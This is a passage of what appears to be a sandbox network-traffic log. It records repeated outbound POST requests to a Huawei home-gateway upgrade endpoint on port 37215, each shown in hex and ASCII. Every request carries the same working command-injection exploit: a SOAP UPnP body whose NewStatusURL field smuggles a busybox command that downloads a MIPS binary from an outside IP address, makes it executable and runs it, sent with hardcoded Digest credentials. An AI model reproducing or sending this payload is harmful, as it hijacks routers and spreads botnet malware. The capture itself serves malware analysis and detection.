3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:43.153764009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:13.613665104 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	36756	160.181.181.61	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:13.346602917 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:15.001904964 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:16.949537039 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:20.885008097 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:28.819780111 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.433690071 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:15.661329031 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 